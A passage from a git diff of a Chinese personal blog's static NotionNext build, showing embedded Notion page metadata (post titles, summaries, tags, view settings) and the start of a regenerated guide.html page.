685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"}},"notion_user":{},"collection_query":{"7b11173d-8924-4a09-8897-50956378c0fc":{"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"collection_group_results":{"type":"results","blockIds":["02f024a6-0fd0-4a05-b201-762f56287c1d","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"hasMore":false}}}},"signed_urls":{}}},"prev":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"next":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/guide.html b/article/guide.html
index 7b72220a7..afce711f1 100644
--- a/article/guide.html
+++ b/article/guide.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>模板说明 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="文字,推荐"/><meta name="description" content="&lt;- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="模板说明 | Both Savage"/><meta property="og:description" content="&lt;- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"/><meta property="og:url" content="https://bothsavage.github.io//article/guide"/><meta property="og:image" content="https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="&lt;- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"/><meta name="twitter:title" content="模板说明 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md 